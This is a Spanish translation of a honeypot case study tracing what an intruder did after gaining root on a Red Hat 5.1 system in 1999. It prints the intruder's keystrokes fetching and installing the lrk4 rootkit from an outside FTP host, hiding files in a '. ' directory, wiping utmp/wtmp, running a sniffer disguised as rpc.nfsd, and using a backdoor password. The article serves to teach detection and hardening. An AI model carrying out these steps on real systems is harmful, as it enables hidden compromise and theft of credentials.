Licencia de la traducción

Se da permiso para copiar, distribuir y/o modificar este documento bajo los términos de la Licencia Libre de Documentación GNU, versión 1.2 o cualquier versión posterior publicada por la Free Software Foundation (Fundación para el Software Libre); este documento no tiene secciones invariantes, textos de portada ni de contraportada. Se incluye una copia de dicha licencia en la sección titulada "Licencia de Documentación Libre GNU".

Este artículo es el tercero de una serie centrada en el script kiddie. El primer artículo se centra en cómo los script kiddies buscan, identifican, y explotan vulnerabilidades. El segundo artículo se centra en cómo puedes detectar estos intentos, identificar las herramientas que están utilizando y qué vulnerabilidades buscan. Este artículo, el tercero, se centra en que ocurre una vez que obtienen privilegios de root. Concretamente, cómo cubren sus pistas y que hacen a continuación. Puedes descargar los datos en crudo utilizados en este documento aquí.

Quién es el script kiddie

Como hemos aprendido en el primer artículo, el script kiddie no es tanto una clase de persona como su estrategia, la estrategia de buscar la víctima fácil. No se busca una información específica o comprometer una compañía en concreto, el objetivo es obtener privilegios de root de la forma más fácil posible. Los intrusos hacen esto centrándose en un numero pequeño de exploits, y luego buscando en toda Internet esos exploits. No subestimes esta estrategia, tarde o temprano encuentran a alguien vulnerable.

Una vez encuentran un sistema vulnerable y obtienen privilegios de root, su primer paso consiste normalmente en cubrir su rastro. Quieren asegurarse de que no sabes que tu sistema ha sido atacado y que no puedes ver ni registrar sus acciones. Después de esto, suelen utilizar tu sistema para escanear otras redes, o monitorizarte silenciosamente. Para obtener una mayor comprensión de cómo realizan estos actos, vamos a seguir los pasos en un sistema comprometido realizados por un intruso que utilizar tácticas de script kiddie. Nuestro sistema, llamado mozart, es un Linux ejecutando Red Hat 5.1. El sistema fue comprometido el 27 de abril de 1999. Abajo se muestran los pasos reales que el intruso realizó, con registros de sistema y capturas de teclado para verificar cada paso. Todos los registros de sistema fueron recogidos por un servidor de registro remoto, utilizando sniffit. Para más información sobre cómo fue capturada esta información, visita "Construir un Honeypot". A lo largo de este artículo nuestro intruso es referido como él, sin embargo no tenemos ni idea del verdadero género del intruso.

El exploit

El 27 de abril, a las 00:13 horas, nuestra red fue escaneada por el sistema 1Cust174.tnt2.long-branch.nj.da.uu.net buscando varias vulnerabilidades, incluyendo imap. Nuestro intruso entró de forma ruidosa, ya que cada sistema de nuestra red fue escaneado (para más información sobre detección y análisis de escaneos, por favor mira el segundo artículo de esta serie)

Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174

Aparentemente encontró algo que le gustó, y volvió a las 06:52 y a las 16:47 del mismo día. Comenzó con escaneos más cuidadosos, pero esta vez centrándose solo en mozart. Identificó una debilidad y lanzó un ataque con éxito contra mountd, una vulnerabilidad comúnmente conocida para Red Hat 5.1. Aquí vemos en /var/log/messages al intruso obteniendo root. La herramienta utilizada fue probablemente ADMmountd.c, o alguna similar a esta.

Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client 208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~

Inmediatamente después de este exploit, vemos en /var/log/messages que nuestro intruso obtuvo root haciendo un telnet a la máquina como usuario crak0, y luego ejecutando el comando su al usuario rewt. Ambas cuentas fueron añadidas por el script del exploit. Nuestro intruso tiene ahora control total sobre nuestro sistema.

Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0)

Ocultando su rastro

El intruso está ahora en nuestro sistema como root. Como vamos a ver, el siguiente paso para él es asegurarse de que no va a ser capturado. Primero, comprueba si hay alguien más en el sistema.

[crak0@mozart /tmp]$ w 
  4:48pm  up 1 day, 18:27,  1 user,  load average: 0.00, 0.00, 0.00 
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT 
crak0    ttyp0    1Cust102.tnt1.lo  4:48pm  0.00s  0.23s  0.04s  w 

Después de asegurarse de que el sistema está despejado, querrá ocultar todas sus acciones. Esto lo hace normalmente borrando cualquier evidencia de registros y remplazando los binarios del sistema, como ps o netstat, con troyanos, de forma que no puedas ver al intruso en tu propio sistema. Una vez colocados los troyanos, el intruso obtiene el control total de tu sistema, y probablemente nunca lo sabrás. De la misma forma que hay herramientas automáticas para explotar vulnerabilidades, también las hay para ocultar intrusos, a menudo llamadas rootkits. Uno de los rootkits más comunes es lrk4. Ejecutando el script, una variedad de ficheros críticos son remplazados, ocultando al intruso en segundos. Para información más detallada sobre los rootkits, lee el README que viene con lrk4. Te dará una mejor idea de cómo trabajan los rootkits en general. También te recomiendo que leas hide-and-seek, un documento de black-hat sobre la ocultación de pistas.

Unos minutos después de comprometer el sistema, vemos al intruso descargando el rootkit y luego implementando el script con el comando "make install". Debajo están las pulsaciones de teclado que el intruso escribió para ocultarse.

cd /dev/
su rewt
mkdir ". "
cd ". "
ftp technotronic.com
anonymous
fdfsfdsdfssd@aol.com
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install

Fíjate que lo primero que nuestro intruso hizo fue crear el directorio oculto ". " para esconder su kit de herramientas. Este directorio no se ve con el comando "ls", y se parece al directorio local con el comando "ls -la". Una forma de localizar este directorio es con el comando "find" (asegúrate de que puedes confiar en la integridad de tu binario "find").

mozart #find / -depth -name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/

Nuestro intruso pudo haber sido algo sofisticado en la utilización de binarios troyanos, pero tuvo un enfoque más simple limpiando los registros. En vez de utilizar herramientas de limpieza de registros, como zap2o clean, copió /dev/null en los archivos /var/run/utmp y /var/log/utmp, mientras borró /var/log/wtmp. Sabes que hay algo mal cuando estos archivos no contienen datos, u obtienes el siguiente error:

[root@mozart sbin]# last -10
last: /var/log/wtmp:
No such file or directory
Perhaps this file was removed by the operator to prevent logging last info.

El siguiente paso

Una vez el sistema ha sido comprometido, los intrusos tienden a hacer dos cosas. Primero, usan tu sistema como plataforma para escanear o explotar otros sistemas. Segundo, deciden ocultarse y ver que pueden aprender de tu sistema, como cuentas para otros sistemas. Nuestro intruso escogió la opción numero dos, permanecer oculto y ver qué podía aprender. Implementó un sniffer en nuestro sistema que podía capturar todo nuestro trafico de red, incluyendo sesiones telnet y ftp a otros sistemas. De esta forma podía capturar logins y contraseñas. Vemos al sistema entrando en modo promiscuo en /var/log/messages pronto después de la intrusión.

Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.

Después de implementar los binarios troyanos, limpiar los ficheros de registro, e iniciar el sniffer, nuestro intruso se desconectó del sistema. No obstante, le veremos volver al siguiente día para ver qué trafico capturó.

Control de daños

Como nuestro amigo se ha desconectado, tengo la oportunidad de revisar el sistema y ver que ha pasado exactamente. Estaba extremadamente interesado en ver qué fue alterado, y dónde estaba registrando la información de su sniffer. Primero, identifique rápidamente con tripwire qué archivos fueron modificados. Nota, asegúrate de que ejecutas tripwire desde una fuente fiable. Me gusta ejecutar una versión enlazada estáticamente de tripwire desde un disquete de sólo lectura. Tripwire mostró lo siguiente.

added:   -rw-r--r-- root            5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid 
added:   -rw-r--r-- root          272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log 
changed: -rws--x--x root        15588 Jun  1 05:49:22 1998 /bin/login 
changed: drwxr-xr-x root        20480 Apr 10 14:44:37 1999 /usr/bin 
changed: -rwxr-xr-x root        52984 Jun 10 04:49:22 1998 /usr/bin/find 
changed: -r-sr-sr-x root       126600 Apr 27 11:29:18 1998 /usr/bin/passwd 
changed: -r-xr-xr-x root        47604 Jun  3 16:31:57 1998 /usr/bin/top 
changed: -r-xr-xr-x root         9712 May  1 01:04:46 1998 /usr/bin/killall 
changed: -rws--s--x root       116352 Jun  1 20:25:47 1998 /usr/bin/chfn 
changed: -rws--s--x root       115828 Jun  1 20:25:47 1998 /usr/bin/chsh 
changed: drwxr-xr-x root         4096 Apr 27 17:01:16 1999 /usr/sbin 
changed: -rwxr-xr-x root       137820 Jun  5 09:35:06 1998 /usr/sbin/inetd 
changed: -rwxr-xr-x root         7229 Nov 26 00:02:19 1998 /usr/sbin/rpc.nfsd 
changed: -rwxr-xr-x root       170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd 
changed: -rwxr-x--- root       235516 Apr  4 22:11:56 1999 /usr/sbin/syslogd 
changed: -rwxr-xr-x root        14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd 
changed: drwxr-xr-x root         2048 Apr  4 16:52:55 1999 /sbin 
changed: -rwxr-xr-x root        19840 Jul  9 17:56:10 1998 /sbin/ifconfig 
changed: -rw-r--r-- root          649 Apr 27 16:59:54 1999 /etc/passwd 

Como puedes ver, una variedad de binarios y ficheros fueron modificados. No había  nuevas entradas en /etc/passwd (sabiamente, había eliminado las cuentas crak0 y rewt), de forma que nuestro intruso tuvo que dejar una puerta trasera (backdoor) en alguno de los binarios modificados. Además, dos archivos fueron añadidos, /usr/sbin/sniff.pid y /usr/sbin/tcp.log. Como se esperaba, el archivo /usr/sbin/sniff.pide ra el pid (Identificador de Proceso) del sniffer, y /usr/sbin/tcp.log era el archivo donde se guardaba la información capturada. Basándose en /usr/sbin/sniff.pid, el sniffer salía para ser rpc.nfsd. Nuestro intruso había compilado un sniffer, en este caso linsniffer, y reemplazado rpc.nfsd con él. Esto aseguraba que si el sistema era reiniciado, el sniffer podía ser reiniciado por el proceso init. El comando strings confirma que rpc.nfsd es un sniffer:

mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
cant open log
rm %s

Después de revisar el sistema y comprender lo que ha ocurrido, dejó al sistemas solo. Yo tenia curiosidad por ver cuáles serían los siguientes pasos del intruso. No quería que supiera que le había cogido, así que borré mis entradas de /usr/sbin/tcp.log.

El script kiddie vuelve

El siguiente día nuestro amigo volvió. Capturando sus pulsaciones de teclado, rápidamente identifiqué la puerta trasera, /bin/login se encontraba infectado. Este binario, usado para las conexiones por telnet, fue configurado para dar permiso a la cuenta "rewt" con privilegios de root y contraseña "satori". La contraseña "satori" es la contraseña por defecto en todos los binarios infectados que usa lrk4, una indicación de que tu sistema puede haber sido comprometido.

El intruso estaba revisando su sniffer para asegurarse de que todo seguía funcionando. Además, quería confirmar si alguna cuenta había sido capturada desde el día anterior. Puedes revisar sus pulsaciones de teclado en keystrokes.txt. Fíjate en que al final del registro nuestro intruso mata al sniffer. Esto fue lo último que hizo antes de cerrar la sesión. Sin embargo, volvió rápidamente varios minutos más tarde con otra sesión, sólo para iniciar el sniffer de nuevo. No sé exactamente por qué hizo eso.

Este proceso de revisar del sistema continuo durante varios días. Cada día el intruso se conectaba al sistema para confirmar que el sniffer se ejecutaba correctamente y para ver si había  capturado datos de valor. Después del cuarto día, decidí que ya era suficiente y desconecte el sistema. Aprendí lo suficiente sobre las acciones del intruso y no iba a aprender nada nuevo.

Conclusión

Hemos visto en este artículo cómo puede actuar un intruso, desde el principio hasta el final, una vez que obtienen privilegios de root en tu sistema. Normalmente empiezan comprobando si hay alguien en el sistema. Una vez ven que saben que están solos, eliminan su rastro limpiando los ficheros de registro y remplazando o modificando ficheros críticos. Una vez se encuentran ocultos de forma segura, llevan a cabo actividades nuevas y más dañinas. Estas tácticas siempre existirán, así como se descubren nuevos exploits constantemente. Para protegerte mejor contra estas amenazas, te recomiendo blindar tus sistemas. El blindaje básico te protegerá contra las amenazas más comunes del script kiddie, ya que ellos van normalmente a por víctimas fáciles. Para ideas de como proteger tu sistema, visita Blindar Linux o Blindar Solaris. Si es demasiado tarde y sientes que tu sistema ya ha sido comprometido, un buen lugar para empezar es el sitio de CERT "Recuperarse de un incidente".